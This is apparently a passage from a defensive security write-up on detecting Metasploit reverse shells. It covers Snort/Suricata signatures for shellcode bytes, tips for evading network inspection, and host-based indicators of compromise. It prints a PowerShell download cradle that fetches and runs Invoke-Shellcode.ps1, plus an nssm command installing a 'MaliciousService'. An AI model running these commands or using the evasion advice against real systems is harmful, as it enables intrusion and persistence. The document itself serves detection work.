#alert ip $EXTERNAL_NET any -> $HOME_NET any (msg:"ET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)";	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

content:"|6a 61 58 99 52 42 52 42 52 68|"; fast_pattern:only; reference:url,doc.emergingthreats.net/2010416;	 	 	 	 	 	 	 	 	 	 	 	

classtype:shellcode-detect; sid:2010416; rev:4; metadata:affected_product Any, attack_target Client_and_Server, deployment	 	 	 	 	 	 	 	

Perimeter, deployment Internet, deployment Internal, deployment Datacenter, tag Metasploit, signature_severity Critical, created_at	 	 	 	 	 	 	 	 	 	 	 	

2010_07_30,	updated_at	2016_07_01;)	

	

#alert ip $EXTERNAL_NET any -> $HOME_NET any (msg:"ET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)";	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

content:"|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57|"; fast_pattern:only;	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

reference:url,doc.emergingthreats.net/2010417; classtype:shellcode-detect; sid:2010417; rev:4; metadata:affected_product Any,	 	 	 	 	 	

attack_target Client_and_Server, deployment Perimeter, deployment Internet, deployment Internal, deployment Datacenter, tag	 	 	 	 	 	 	 	 	 	 	

Metasploit,	signature_severity	Critical,	created_at	2010_07_30,	updated_at	2016_07_01;)	

	

Modern attacks occur over TLS/SSL over tcp communications these days which means detecting our payload would be difficult to nearly	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

impossible. Blue-teams may counter encrypted communication with TLS interception and packet inspection. To further evade TLS	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

interception, crypters, encoders, custom encoded code or polymorphic code would need to be written. I’ve even heard of padding the	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

payload	so	large	that	the	rules	are	ignored	due	to	performance	as	well.	Sneaky..		

	

	

	

	



	

Host	Based	Detection		

In this model, you assume the target has already been breached. Maybe EMET was disabled or the attack was highly sophisticated and	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

made it past your defenses. Whatever the case, the attacker now has command and control over your machine thanks to a Buffer	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	

Overflow.	Luckily,	attacker	patterns	of	behavior	are	relatively	predictable.	What	does	that	mean?		

Consider	if	the	active	directory	logs	show	directory	enumerations	such	as		

net	view	/domain		

net	user	/domain		

net	accounts	/domain		

Consider	if	the	local	host	logs	show	local	a	series	of	enumerations	commands	such	as		

systeminfo		

net	local	group	“Administrators”		

uname	-a	

cat	/proc/issue		

Consider	more	advanced	post-exploit	attempts	to	bypass	detection	via	PowerShell		

	

start-Process -FilePath .\nssm.exe -ArgumentList ‘install MaliciousService	 	 	 	 	 	
“C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe” “-command “& { . C:\Scripts\Monitor.ps1; Start-Monitoring }”” ‘	 	 	 	 	 	 	 	 	
-NoNewWindow	-Wait	

	

powershell.exe	-exec	bypass	–noprofile	–c	iex(New-Object	Net.WebClient).DownloadString	

('http://10.0.2.210:8081/CodeExecution/Invoke-Shellcode.ps1')	

	

Similar to the EMET example, local logs can be sent via Windows Collectors and/or Syslog and forwarded to your SIEM. For PowerShell	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	
attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	
then detection may be thwarted. I’ve overly simplified a highly sophisticated topic, but the point to drive home is that you assume a	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	
zero-day	will	succeed	and	look	for	IoC’s	that	show	enumeration,	privilege	escalation	etc.	etc.		

	

	

	

	

	

	

	

	

	



	

ENJOY	
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